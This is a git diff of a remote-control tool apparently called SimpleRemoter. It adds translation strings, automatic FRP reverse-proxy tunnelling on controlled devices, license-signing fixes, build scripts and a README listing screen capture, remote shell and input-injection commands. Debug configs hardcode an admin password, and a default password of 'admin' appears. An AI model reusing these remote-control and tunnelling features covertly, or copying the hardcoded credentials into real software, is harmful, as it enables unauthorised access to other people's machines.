检测到可疑连接:内核 RTT 中位数 %d ms,超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n\r\n如需跨网远控,请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=檢測到可疑連線:核心 RTT 中位數 %d ms,超出閾值 %d ms。\r\n\r\n持續偏高的 RTT 提示該連線可能經由代理 / VPN / 隧道中轉。\r\n試用版僅供 LAN 內自用,跨網使用屬於違反授權條款。\r\n\r\n如需跨網遠控,請向發行方申請正式授權。\r\n詳細記錄請見訊息列表與執行日誌。
|
||||||
|
; Auto FRP / Upper-FRP Hot-Swap - Traditional Chinese Translation
|
||||||
|
; Format: Simplified Chinese=Traditional Chinese
|
||||||
|
; 用途: commit 88a9a01 (Feature: Automatically start frp client for subordinate) 引入的新文案
|
||||||
|
|
||||||
|
; --- 主对话框:检测到 [settings] FrpConfig 被外部模块写入的热切换提示 ---
|
||||||
|
[FRP] 已启用上级 FRP 反向代理(远程端口 %d),已生效=[FRP] 已啟用上級 FRP 反向代理(遠端連接埠 %d),已生效
|
||||||
|
[FRP] 收到无效的 FRP 配置: %s=[FRP] 收到無效的 FRP 配置: %s
|
||||||
|
[FRP] 上级已撤销 FRP 反向代理配置,已停止 FRPC=[FRP] 上級已撤銷 FRP 反向代理配置,已停止 FRPC
|
||||||
|
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d),已生效=[FRP] 上級 FRP 反向代理配置已切換(遠端連接埠 %d → %d),已生效
|
||||||
|
[FRP] 收到无效的新 FRP 配置: %s,已停止旧 FRPC=[FRP] 收到無效的新 FRP 配置: %s,已停止舊 FRPC
|
||||||
|
|
||||||
|
; --- 授权管理:右键菜单"自动FRP" ---
|
||||||
|
自动FRP(&F)...=自動FRP(&F)...
|
||||||
|
|
||||||
|
; --- 授权管理 → 自动FRP 对话框相关 ---
|
||||||
|
请先在 扩展 → 下级 FRP 代理设置 中启用并配置 FRPS 服务器地址、端口与 Token,然后再使用此功能。=請先在 擴充 → 下級 FRP 代理設定 中啟用並設定 FRPS 伺服器位址、連接埠與 Token,然後再使用此功能。
|
||||||
|
未配置 FRPS=未設定 FRPS
|
||||||
|
该授权已分配 FRPC 远程端口 %d,是否覆盖并重新设置?=該授權已分配 FRPC 遠端連接埠 %d,是否覆蓋並重新設定?
|
||||||
|
覆盖 FRPC 配置=覆蓋 FRPC 設定
|
||||||
|
FRPS 端口范围已满,无法自动分配,请扩大「下级 FRP 代理设置」中的端口范围。=FRPS 連接埠範圍已滿,無法自動分配,請擴大「下級 FRP 代理設定」中的連接埠範圍。
|
||||||
|
端口已满=連接埠已滿
|
||||||
|
自动 FRP - %s=自動 FRP - %s
|
||||||
|
FRPC 远程端口 (1024-65535):=FRPC 遠端連接埠 (1024-65535):
|
||||||
|
端口 %d 已被序列号 %s 占用,请选择其它端口。=連接埠 %d 已被序列號 %s 佔用,請選擇其他連接埠。
|
||||||
|
端口冲突=連接埠衝突
|
||||||
|
生成 FRP 配置失败=產生 FRP 配置失敗
|
||||||
|
已为授权 %s 配置 FRPC 远程端口 %d。\n\n下级上线时将自动接收 FRP 配置并启用反向代理。=已為授權 %s 設定 FRPC 遠端連接埠 %d。\n\n下級上線時將自動接收 FRP 配置並啟用反向代理。
|
||||||
|
配置成功=設定成功
|
||||||
|
; --- 授权管理:右键菜单"撤销FRP" + 对话框 ---
|
||||||
|
撤销FRP(&U)=撤銷FRP(&U)
|
||||||
|
确定撤销授权 %s 的 FRP 配置吗?\n\n远程端口 %d 将被释放,下级下次上线后反向代理失效。=確定撤銷授權 %s 的 FRP 配置嗎?\n\n遠端連接埠 %d 將被釋放,下級下次上線後反向代理失效。
|
||||||
|
撤销 FRP 配置=撤銷 FRP 配置
|
||||||
|
已撤销授权 %s 的 FRP 配置,远程端口 %d 已释放。=已撤銷授權 %s 的 FRP 配置,遠端連接埠 %d 已釋放。
|
||||||
|
撤销成功=撤銷成功
|
||||||
|
无效参数无效参数
|
||||||
|
不支持的位深度,需要24位或32位=不支持的位深度,需要24位或32位
|
||||||
|
未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw=未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw
|
||||||
|
创建AVI文件失败=创建AVI文件失败
|
||||||
|
启用 H264 硬编码=启用 H264 硬编码
|
||||||
|
启用 AV1 硬编码=启用 AV1 硬编码
|
||||||
|
; ZSTA Compress / Picker Dialog - Traditional Chinese Translation
|
||||||
|
; Format: Simplified Chinese=Traditional Chinese
|
||||||
|
|
||||||
|
; --- Picker dialog (CZstaPickerDlg) ---
|
||||||
|
选择要压缩的文件 / 文件夹=選擇要壓縮的檔案 / 資料夾
|
||||||
|
添加文件...=新增檔案...
|
||||||
|
添加文件夹...=新增資料夾...
|
||||||
|
移除选中=移除選取項
|
||||||
|
类型=類型
|
||||||
|
路径=路徑
|
||||||
|
文件=檔案
|
||||||
|
文件夹=資料夾
|
||||||
|
选择文件 (可多选)=選擇檔案 (可多選)
|
||||||
|
选择文件夹 (可多选)=選擇資料夾 (可多選)
|
||||||
|
|
||||||
|
; --- Compress / Extract handlers (CMy2015RemoteDlg) ---
|
||||||
|
未选择任何文件或文件夹=未選擇任何檔案或資料夾
|
||||||
|
选择压缩输出文件=選擇壓縮輸出檔案
|
||||||
|
请选择要解压的 ZSTA 文件 (可多选)=請選擇要解壓縮的 ZSTA 檔案 (可多選)
|
||||||
|
压缩成功 (%u 项):\n%s=壓縮成功 (%u 項):\n%s
|
||||||
|
压缩失败: %s=壓縮失敗: %s
|
||||||
|
解压完成: 成功 %d, 失败 %d=解壓縮完成: 成功 %d, 失敗 %d
|
||||||
|
|
||||||
|
; --- Common (likely already present in zh_TW.ini; included for completeness) ---
|
||||||
|
确定=確定
|
||||||
|
取消=取消
|
||||||
|
提示=提示
|
||||||
|
错误=錯誤
|
||||||
|
压缩(&C)=壓縮(&C)
|
||||||
|
解压缩(&U)=解壓縮(&U)
|
||||||
|
\n默认密码是: admin=\n默认密码是: admin
|
||||||
|
|||||||
@@ -585,6 +585,7 @@ std::string signPasswordV2(const std::string& deviceId, const std::string& passw
|
|||||||
// 签名
|
// 签名
|
||||||
BYTE signature[V2_SIGNATURE_SIZE];
|
BYTE signature[V2_SIGNATURE_SIZE];
|
||||||
if (!SignMessageV2(privateKeyFile, (const BYTE*)payload.c_str(), (int)payload.length(), signature)) {
|
if (!SignMessageV2(privateKeyFile, (const BYTE*)payload.c_str(), (int)payload.length(), signature)) {
|
||||||
|
Mprintf("signPasswordV2: SignMessageV2 failed: %s\n", payload.c_str());
|
||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -640,7 +641,7 @@ std::string signAuthorizationV2(const std::string& license, const std::string& s
|
|||||||
|
|
||||||
BYTE signature[V2_SIGNATURE_SIZE];
|
BYTE signature[V2_SIGNATURE_SIZE];
|
||||||
if (!SignMessageV2(privateKeyFile, (const BYTE*)payload.c_str(), (int)payload.length(), signature)) {
|
if (!SignMessageV2(privateKeyFile, (const BYTE*)payload.c_str(), (int)payload.length(), signature)) {
|
||||||
Mprintf("signAuthorizationV2: SignMessageV2 failed\n");
|
Mprintf("signAuthorizationV2: SignMessageV2 failed: %s\n", license.c_str());
|
||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -709,7 +710,10 @@ bool IsFrpTokenEncoded(const std::string& privilegeKey)
|
|||||||
return privilegeKey.length() >= 4 && privilegeKey.substr(0, 4) == "ENC:";
|
return privilegeKey.length() >= 4 && privilegeKey.substr(0, 4) == "ENC:";
|
||||||
}
|
}
|
||||||
|
|
||||||
// 日期字符串转 Unix 时间戳(当天 23:59:59 本地时间)
|
// 日期字符串转 Unix 时间戳(当天 23:59:59 UTC)。
|
||||||
|
// 必须使用 UTC(_mkgmtime)而非本地时间(mktime)—— privilegeKey 由上级生成、
|
||||||
|
// 下级二次计算后发给 frps 校验,若两端时区不同,mktime 会返回不同的 UTC 时间戳,
|
||||||
|
// 导致 MD5 不匹配,frps 报 "token in login doesn't match token from configuration"。
|
||||||
time_t FrpDateToTimestamp(const std::string& dateStr)
|
time_t FrpDateToTimestamp(const std::string& dateStr)
|
||||||
{
|
{
|
||||||
if (dateStr.length() != 8) return 0;
|
if (dateStr.length() != 8) return 0;
|
||||||
@@ -721,7 +725,7 @@ time_t FrpDateToTimestamp(const std::string& dateStr)
|
|||||||
t.tm_hour = 23;
|
t.tm_hour = 23;
|
||||||
t.tm_min = 59;
|
t.tm_min = 59;
|
||||||
t.tm_sec = 59;
|
t.tm_sec = 59;
|
||||||
return mktime(&t);
|
return _mkgmtime(&t);
|
||||||
} catch (...) {
|
} catch (...) {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|||||||
BIN
server/2015Remote/res/Bitmap/compress.bmp
Normal file
|
After Width: | Height: | Size: 822 B |
BIN
server/2015Remote/res/Bitmap/uncompress.bmp
Normal file
|
After Width: | Height: | Size: 822 B |
@@ -263,6 +263,9 @@
|
|||||||
#define IDR_WEB_XTERM_CSS 383
|
#define IDR_WEB_XTERM_CSS 383
|
||||||
#define IDR_WEB_XTERM_FIT_JS 384
|
#define IDR_WEB_XTERM_FIT_JS 384
|
||||||
#define IDR_WEB_INDEX_HTML 385
|
#define IDR_WEB_INDEX_HTML 385
|
||||||
|
#define IDB_BITMAP_COMPRESS 386
|
||||||
|
#define IDB_BITMAP9 387
|
||||||
|
#define IDB_BITMAP_UNCOMPRESS 387
|
||||||
#define IDC_MESSAGE 1000
|
#define IDC_MESSAGE 1000
|
||||||
#define IDC_ONLINE 1001
|
#define IDC_ONLINE 1001
|
||||||
#define IDC_STATIC_TIPS 1002
|
#define IDC_STATIC_TIPS 1002
|
||||||
@@ -983,14 +986,21 @@
|
|||||||
#define ID_33048 33048
|
#define ID_33048 33048
|
||||||
#define ID_SCREENPREVIEW_LOOP 33049
|
#define ID_SCREENPREVIEW_LOOP 33049
|
||||||
#define ID_PARAM_THUMBNAIL_PREVIEW 33050
|
#define ID_PARAM_THUMBNAIL_PREVIEW 33050
|
||||||
|
#define ID_LICENSE_AUTO_FRP 33051
|
||||||
|
#define ID_LICENSE_REVOKE_FRP 33052
|
||||||
|
#define ID_Menu 33053
|
||||||
|
#define ID_33054 33054
|
||||||
|
#define ID_MENU_COMPRESS 33055
|
||||||
|
#define ID_33056 33056
|
||||||
|
#define ID_MENU_UNCOMPRESS 33057
|
||||||
#define ID_EXIT_FULLSCREEN 40001
|
#define ID_EXIT_FULLSCREEN 40001
|
||||||
|
|
||||||
// Next default values for new objects
|
// Next default values for new objects
|
||||||
//
|
//
|
||||||
#ifdef APSTUDIO_INVOKED
|
#ifdef APSTUDIO_INVOKED
|
||||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
#define _APS_NEXT_RESOURCE_VALUE 386
|
#define _APS_NEXT_RESOURCE_VALUE 388
|
||||||
#define _APS_NEXT_COMMAND_VALUE 33051
|
#define _APS_NEXT_COMMAND_VALUE 33058
|
||||||
#define _APS_NEXT_CONTROL_VALUE 2542
|
#define _APS_NEXT_CONTROL_VALUE 2542
|
||||||
#define _APS_NEXT_SYMED_VALUE 105
|
#define _APS_NEXT_SYMED_VALUE 105
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
18
server/go/.vscode/launch.json
vendored
@@ -8,9 +8,14 @@
|
|||||||
"mode": "auto",
|
"mode": "auto",
|
||||||
"program": "${workspaceFolder}/cmd",
|
"program": "${workspaceFolder}/cmd",
|
||||||
"cwd": "${workspaceFolder}",
|
"cwd": "${workspaceFolder}",
|
||||||
"args": [],
|
"args": [
|
||||||
"env": {},
|
"-port=9090"
|
||||||
"console": "integratedTerminal"
|
],
|
||||||
|
"env": {
|
||||||
|
"YAMA_WEB_ADMIN_PASS": "3.14159"
|
||||||
|
},
|
||||||
|
"console": "integratedTerminal",
|
||||||
|
"preLaunchTask": "sync-web-assets"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"name": "Debug Server",
|
"name": "Debug Server",
|
||||||
@@ -22,9 +27,12 @@
|
|||||||
"args": [
|
"args": [
|
||||||
"-port=9090"
|
"-port=9090"
|
||||||
],
|
],
|
||||||
"env": {},
|
"env": {
|
||||||
|
"YAMA_WEB_ADMIN_PASS": "3.14159"
|
||||||
|
},
|
||||||
"console": "integratedTerminal",
|
"console": "integratedTerminal",
|
||||||
"buildFlags": "-gcflags='all=-N -l'"
|
"buildFlags": "-gcflags='all=-N -l'",
|
||||||
|
"preLaunchTask": "sync-web-assets"
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
20
server/go/.vscode/tasks.json
vendored
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
{
|
||||||
|
"version": "2.0.0",
|
||||||
|
"tasks": [
|
||||||
|
{
|
||||||
|
"label": "sync-web-assets",
|
||||||
|
"type": "shell",
|
||||||
|
"command": "powershell",
|
||||||
|
"args": [
|
||||||
|
"-NoProfile",
|
||||||
|
"-Command",
|
||||||
|
"New-Item -ItemType Directory -Force -Path '${workspaceFolder}\\web\\assets' | Out-Null; Copy-Item -Force '${workspaceFolder}\\..\\web\\index.html' '${workspaceFolder}\\web\\assets\\index.html'"
|
||||||
|
],
|
||||||
|
"presentation": {
|
||||||
|
"reveal": "silent",
|
||||||
|
"panel": "dedicated"
|
||||||
|
},
|
||||||
|
"problemMatcher": []
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
@@ -17,41 +17,49 @@ LDFLAGS=-ldflags "-s -w"
|
|||||||
MKDIR=if not exist $(BUILD_DIR) mkdir $(BUILD_DIR)
|
MKDIR=if not exist $(BUILD_DIR) mkdir $(BUILD_DIR)
|
||||||
RMDIR=if exist $(BUILD_DIR) rmdir /s /q $(BUILD_DIR)
|
RMDIR=if exist $(BUILD_DIR) rmdir /s /q $(BUILD_DIR)
|
||||||
|
|
||||||
.PHONY: all clean windows linux build help windows-386 linux-arm64 all-platforms test fmt deps
|
.PHONY: all clean windows linux build help windows-386 linux-arm64 all-platforms test fmt deps sync
|
||||||
|
|
||||||
# Default target
|
# Default target
|
||||||
all: clean windows linux
|
all: clean windows linux
|
||||||
|
|
||||||
|
# Sync web assets from server/web/ into web/assets/ for //go:embed.
|
||||||
|
# Single source of truth is server/web/index.html; this just keeps a vendored copy.
|
||||||
|
sync:
|
||||||
|
@echo Syncing web assets from ../web/...
|
||||||
|
@if not exist web\assets mkdir web\assets
|
||||||
|
@copy /Y ..\web\index.html web\assets\index.html >nul
|
||||||
|
@echo Done
|
||||||
|
|
||||||
# Build for current platform
|
# Build for current platform
|
||||||
build:
|
build: sync
|
||||||
@echo Building for current platform...
|
@echo Building for current platform...
|
||||||
@$(MKDIR)
|
@$(MKDIR)
|
||||||
go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME).exe $(MAIN_PACKAGE)
|
go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME).exe $(MAIN_PACKAGE)
|
||||||
@echo Done
|
@echo Done
|
||||||
|
|
||||||
# Build for Windows (amd64)
|
# Build for Windows (amd64)
|
||||||
windows:
|
windows: sync
|
||||||
@echo Building for Windows amd64...
|
@echo Building for Windows amd64...
|
||||||
@$(MKDIR)
|
@$(MKDIR)
|
||||||
set GOOS=windows&& set GOARCH=amd64&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_windows_amd64.exe $(MAIN_PACKAGE)
|
set GOOS=windows&& set GOARCH=amd64&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_windows_amd64.exe $(MAIN_PACKAGE)
|
||||||
@echo Done: $(BUILD_DIR)\$(BINARY_NAME)_windows_amd64.exe
|
@echo Done: $(BUILD_DIR)\$(BINARY_NAME)_windows_amd64.exe
|
||||||
|
|
||||||
# Build for Windows (386)
|
# Build for Windows (386)
|
||||||
windows-386:
|
windows-386: sync
|
||||||
@echo Building for Windows 386...
|
@echo Building for Windows 386...
|
||||||
@$(MKDIR)
|
@$(MKDIR)
|
||||||
set GOOS=windows&& set GOARCH=386&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_windows_386.exe $(MAIN_PACKAGE)
|
set GOOS=windows&& set GOARCH=386&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_windows_386.exe $(MAIN_PACKAGE)
|
||||||
@echo Done: $(BUILD_DIR)\$(BINARY_NAME)_windows_386.exe
|
@echo Done: $(BUILD_DIR)\$(BINARY_NAME)_windows_386.exe
|
||||||
|
|
||||||
# Build for Linux (amd64)
|
# Build for Linux (amd64)
|
||||||
linux:
|
linux: sync
|
||||||
@echo Building for Linux amd64...
|
@echo Building for Linux amd64...
|
||||||
@$(MKDIR)
|
@$(MKDIR)
|
||||||
set GOOS=linux&& set GOARCH=amd64&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_linux_amd64 $(MAIN_PACKAGE)
|
set GOOS=linux&& set GOARCH=amd64&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_linux_amd64 $(MAIN_PACKAGE)
|
||||||
@echo Done: $(BUILD_DIR)\$(BINARY_NAME)_linux_amd64
|
@echo Done: $(BUILD_DIR)\$(BINARY_NAME)_linux_amd64
|
||||||
|
|
||||||
# Build for Linux (arm64)
|
# Build for Linux (arm64)
|
||||||
linux-arm64:
|
linux-arm64: sync
|
||||||
@echo Building for Linux arm64...
|
@echo Building for Linux arm64...
|
||||||
@$(MKDIR)
|
@$(MKDIR)
|
||||||
set GOOS=linux&& set GOARCH=arm64&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_linux_arm64 $(MAIN_PACKAGE)
|
set GOOS=linux&& set GOARCH=arm64&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_linux_arm64 $(MAIN_PACKAGE)
|
||||||
@@ -89,6 +97,7 @@ help:
|
|||||||
@echo linux - Build for Linux amd64
|
@echo linux - Build for Linux amd64
|
||||||
@echo linux-arm64 - Build for Linux arm64
|
@echo linux-arm64 - Build for Linux arm64
|
||||||
@echo all-platforms - Build for all platforms
|
@echo all-platforms - Build for all platforms
|
||||||
|
@echo sync - Sync web assets from ../web/ for //go:embed
|
||||||
@echo clean - Clean build directory
|
@echo clean - Clean build directory
|
||||||
@echo test - Run tests
|
@echo test - Run tests
|
||||||
@echo fmt - Format code
|
@echo fmt - Format code
|
||||||
|
|||||||
@@ -25,36 +25,88 @@ server/go/
|
|||||||
│ └── pool.go # Goroutine 工作池
|
│ └── pool.go # Goroutine 工作池
|
||||||
├── logger/
|
├── logger/
|
||||||
│ └── logger.go # 日志模块 (基于 zerolog)
|
│ └── logger.go # 日志模块 (基于 zerolog)
|
||||||
|
├── hub/
|
||||||
|
│ └── hub.go # 在线设备注册表 + 事件订阅
|
||||||
|
├── wsauth/
|
||||||
|
│ └── wsauth.go # Web 鉴权 (challenge-response + 不透明 token)
|
||||||
|
├── web/
|
||||||
|
│ ├── embed.go # //go:embed 嵌入 HTML/xterm.js 等 web 资源
|
||||||
|
│ ├── server.go # HTTP server (静态页面 + REST + WS 路由)
|
||||||
|
│ ├── ws.go # WebSocket 连接生命周期
|
||||||
|
│ ├── ws_handlers.go # WS 消息分发与处理
|
||||||
|
│ └── assets/
|
||||||
|
│ ├── index.html # 从 ../../web/index.html sync 而来 (gitignored)
|
||||||
|
│ └── static/ # 第三方 xterm.js 资源 (checked in)
|
||||||
|
├── licensing/
|
||||||
|
│ ├── signer.go # Signer interface (Sign / Mode / Close)
|
||||||
|
│ ├── local.go # LocalSigner — operator 部署,HMAC 直连
|
||||||
|
│ ├── remote.go # RemoteSigner — 客户部署,HTTPS + singleflight + 24h cache + heartbeat ticker
|
||||||
|
│ ├── noop.go # NoOpSigner — free tier,返回空签名
|
||||||
|
│ ├── token.go # JWT RS256 校验 + RSA 公钥加载
|
||||||
|
│ ├── quota.go # 配额追踪 (Reserve / RefreshExisting / 5min eviction)
|
||||||
|
│ ├── server.go # License Server HTTP handlers (/license/sign, /license/heartbeat) + Issue()
|
||||||
|
│ ├── factory.go # NewFromEnv / LicenseServerFromEnv + 模式选择
|
||||||
|
│ └── licensing_test.go # 17 个单元测试
|
||||||
└── cmd/
|
└── cmd/
|
||||||
└── main.go # 程序入口
|
└── main.go # 程序入口
|
||||||
```
|
```
|
||||||
|
|
||||||
## 核心特性
|
## 核心特性
|
||||||
|
|
||||||
|
底层基础设施:
|
||||||
|
|
||||||
- **高并发**: 基于 Goroutine 池管理并发连接
|
- **高并发**: 基于 Goroutine 池管理并发连接
|
||||||
- **协议兼容**: 支持原有 C++ 客户端的多种协议标识 (Hell/Hello/Shine/Fuck)
|
- **协议兼容**: 支持原有客户端的多种协议标识 (Hell/Hello/Shine/Fuck)
|
||||||
- **协议头解密**: 支持 8 种协议头加密方式 (V0-V6 + Default)
|
- **协议头解密**: 支持 8 种协议头加密方式 (V0-V6 + Default)
|
||||||
- **授权验证**: 支持 TOKEN_AUTH 和 Heartbeat HMAC-SHA256 双重授权验证
|
- **授权验证**: TOKEN_AUTH 和 Heartbeat HMAC-SHA256 双重授权
|
||||||
- **XOR编码**: 支持 XOREncoder16 数据编码/解码
|
- **XOR 编码 / ZSTD 压缩**: 与客户端完全兼容
|
||||||
- **ZSTD 压缩**: 使用高效的 ZSTD 算法进行数据压缩
|
- **字符编码自适应**: 根据客户端能力位选择 UTF-8 直通或 GBK→UTF-8 转换
|
||||||
- **GBK编码**: 自动将 Windows 客户端的 GBK 编码转换为 UTF-8
|
- **线程安全 / 优雅关闭 / 多端口监听 / 结构化日志**
|
||||||
- **线程安全**: Buffer、连接管理器和 LastActive 均为线程安全设计
|
|
||||||
- **优雅关闭**: 支持信号处理和优雅停机,自动释放资源
|
Web 应用能力 (Phase 3-7):
|
||||||
- **可配置**: 支持自定义端口、最大连接数、超时时间等
|
|
||||||
- **日志系统**: 基于 zerolog,支持文件输出、日志轮转、客户端上下线记录
|
- **Web 鉴权**: challenge-response 登录 + 不透明 token,与 users.json schema 互通
|
||||||
|
- **登录加固**: 双维度速率限制(10 次/分钟·IP + 5 次/15 分钟·用户名)+ 失败固定延迟,防口令枚举;`/get_salt` 用确定性假盐响应未知用户,杜绝用户名探测;WebSocket Origin 同源校验 + 显式白名单;`/api/devices` Bearer Token 鉴权
|
||||||
|
- **设备列表与监控**: 在线设备 / RTT / 活动窗口 / 分辨率 实时下发
|
||||||
|
- **Web 远程桌面**: 浏览器 WebCodecs 解码 H.264,二进制 WS 帧低延迟中继;late-join 自动重发最近 IDR;优雅 BYE 关闭防止客户端无意义重连
|
||||||
|
- **鼠标 / 键盘输入**: Win32 消息映射 (`WM_*` / `VK_*` / `MK_*`),MSG64 48 字节布局直传客户端
|
||||||
|
- **Web 终端**: xterm.js + Windows ConPTY / 旧 cmd 管道双模式;二进制 "TRM1" 帧分流;尺寸自适应;单设备单 viewer
|
||||||
|
- **用户与分组**: admin 可创建/删除 viewer 账号、配置 allowed_groups,users.json 原子写入
|
||||||
|
|
||||||
## 支持的命令
|
## 支持的命令
|
||||||
|
|
||||||
当前已实现以下命令处理:
|
### 客户端 → 服务端
|
||||||
|
|
||||||
| 命令 | 值 | 说明 |
|
| Token | 值 | 用途 |
|
||||||
|------|-----|------|
|
| ---- | ---- | ---- |
|
||||||
| TOKEN_AUTH | 100 | 授权请求 (验证 SN + Passcode + HMAC) |
|
| `TOKEN_AUTH` | 100 | 授权请求(SN + Passcode + HMAC) |
|
||||||
| TOKEN_HEARTBEAT | 101 | 心跳包 (支持 HMAC 授权验证,返回 Authorized 状态) |
|
| `TOKEN_HEARTBEAT` | 101 | 心跳包(携带 ActiveWnd / Ping / SN) |
|
||||||
| TOKEN_LOGIN | 102 | 客户端登录 |
|
| `TOKEN_LOGIN` | 102 | 主连接登录 |
|
||||||
| CMD_HEARTBEAT_ACK | 216 | 心跳响应 (包含 Authorized 字段) |
|
| `TOKEN_BITMAPINFO` | 115 | 屏幕子连接首包,含分辨率 + clientID |
|
||||||
|
| `TOKEN_FIRSTSCREEN` | 116 | 原始 BGRA 首帧(Go 侧丢弃) |
|
||||||
|
| `TOKEN_NEXTSCREEN` | 117 | H.264 屏幕帧 |
|
||||||
|
| `TOKEN_SHELL_START` | 128 | 旧 cmd-pipe 终端子连接首包 |
|
||||||
|
| `TOKEN_KEYFRAME` | 134 | GOP 关键帧(DEFAULT_GOP 无限大,实际未用) |
|
||||||
|
| `TOKEN_TERMINAL_START` | 232 | PTY 终端子连接首包 |
|
||||||
|
| `TOKEN_TERMINAL_CLOSE` | 233 | 终端关闭通知 |
|
||||||
|
| `TOKEN_CONN_AUTH` | 246 | 子连接身份握手,含 clientID |
|
||||||
|
| (raw bytes) | — | 终端 sub-conn 绑定后裸字节即 shell 输出 |
|
||||||
|
|
||||||
其他命令会被记录为 Debug 日志,可按需扩展。
|
### 服务端 → 客户端
|
||||||
|
|
||||||
|
| Command | 值 | 用途 |
|
||||||
|
| ---- | ---- | ---- |
|
||||||
|
| `COMMAND_SCREEN_SPY` | 16 | 启动屏幕捕获 |
|
||||||
|
| `COMMAND_SCREEN_CONTROL` | 20 | 鼠标 / 键盘输入(MSG64 批次) |
|
||||||
|
| `COMMAND_NEXT` | 30 | 解除客户端读线程阻塞 |
|
||||||
|
| `COMMAND_SHELL` | 40 | 请求开启 shell 子连接 |
|
||||||
|
| `CMD_TERMINAL_RESIZE` | 81 | PTY 尺寸 (cols / rows int16 LE) |
|
||||||
|
| `COMMAND_BYE` | 204 | 优雅断开屏幕 / 终端 |
|
||||||
|
| `CMD_MASTERSETTING` | 215 | 主控配置 + HMAC 签名 (1000B) |
|
||||||
|
| `CMD_HEARTBEAT_ACK` | 216 | 心跳响应(携带 Authorized 字段) |
|
||||||
|
| `TOKEN_CONN_AUTH` | 246 | 子连接身份握手响应 (256B) |
|
||||||
|
|
||||||
|
未列出的命令字节会被记录为 Debug 日志,按需扩展。
|
||||||
|
|
||||||
## 快速开始
|
## 快速开始
|
||||||
|
|
||||||
@@ -67,24 +119,54 @@ go mod tidy
|
|||||||
|
|
||||||
### 编译
|
### 编译
|
||||||
|
|
||||||
|
推荐用 Makefile,编译前会自动从 `server/web/` 同步 HTML 到 `web/assets/`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
go build -o simpleremoter-server ./cmd
|
make build # 当前平台
|
||||||
|
make windows # Windows amd64
|
||||||
|
make linux # Linux amd64
|
||||||
```
|
```
|
||||||
|
|
||||||
|
也可以直接用 `go build`,但要先手动 sync:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make sync && go build -o simpleremoter-server ./cmd
|
||||||
|
```
|
||||||
|
|
||||||
|
VSCode F5 调试时由 `sync-web-assets` preLaunchTask 自动同步。
|
||||||
|
|
||||||
### 运行
|
### 运行
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
./simpleremoter-server
|
./simpleremoter-server
|
||||||
```
|
```
|
||||||
|
|
||||||
服务器默认监听 6543 端口,日志输出到 `logs/server.log`。
|
默认监听 TCP 端口 `6543`(被控设备),HTTP 端口 `8080`(浏览器 Web UI)。日志写到 `logs/server.log`。
|
||||||
|
|
||||||
|
### 命令行参数
|
||||||
|
|
||||||
|
| 参数 | 默认值 | 说明 |
|
||||||
|
| ---- | ------ | ---- |
|
||||||
|
| `-port` / `-p` | `6543` | TCP 监听端口,分号分隔可多端口(如 `6543;6544`) |
|
||||||
|
| `-http-port` | `8080` | HTTP 监听端口(Web UI),传 `0` 禁用 |
|
||||||
|
| `-no-console` | `false` | 关闭控制台输出(守护进程模式) |
|
||||||
|
|
||||||
### 环境变量
|
### 环境变量
|
||||||
|
|
||||||
| 变量 | 说明 | 示例 |
|
| 变量 | 说明 | 示例 |
|
||||||
|------|------|------|
|
| ---- | ---- | ---- |
|
||||||
| `YAMA_PWDHASH` | 密码的 SHA256 哈希值 (64位十六进制) | `61f04dd6...` |
|
| `YAMA_PWDHASH` | 密码的 SHA256 哈希值 (64位十六进制) | `61f04dd6...` |
|
||||||
| `YAMA_PWD` | 超级密码,用于 HMAC 签名验证 | `your_super_password` |
|
| `YAMA_PWD` | 超级密码,用于 HMAC 签名验证;也作为 Web admin 密码的默认来源 | `your_super_password` |
|
||||||
|
| `YAMA_WEB_ADMIN_PASS` | Web UI 的 admin 密码(明文);优先于 `YAMA_PWD`。两者都未设置时 Web 登录禁用 | `your_admin_password` |
|
||||||
|
| `YAMA_SIGN_PASSWORD` | **[LocalSigner 模式]** HMAC-SHA256 master key,直接给 CMD_MASTERSETTING 签名。Operator 自己的部署用。设置此变量后进入 LocalSigner 模式(见下方"签名模式")。 | `<deployment-shared-secret>` |
|
||||||
|
| `YAMA_LICENSE_SERVER` | **[RemoteSigner 模式]** Operator 的 License Server 公开 URL。客户部署设置此变量后进入 RemoteSigner 模式 —— 每次新设备登录会 HTTPS POST 给 License Server 拿签名,本机永远看不到 HMAC master key。必须与 `YAMA_LICENSE_TOKEN` 同时设置。 | `https://license.example.com` |
|
||||||
|
| `YAMA_LICENSE_TOKEN` | **[RemoteSigner 模式]** Operator 颁发的客户 JWT(RS256),作为 Bearer token 鉴权。每个客户一份。 | `eyJhbGciOiJSUzI1NiI...` |
|
||||||
|
| `YAMA_LICENSE_OFFLINE_HRS` | **[RemoteSigner 模式]** License Server 短暂不可达时,本地缓存签名的宽限期(小时)。默认 24。0 → 不缓存,每次新登录必须联网。 | `24` |
|
||||||
|
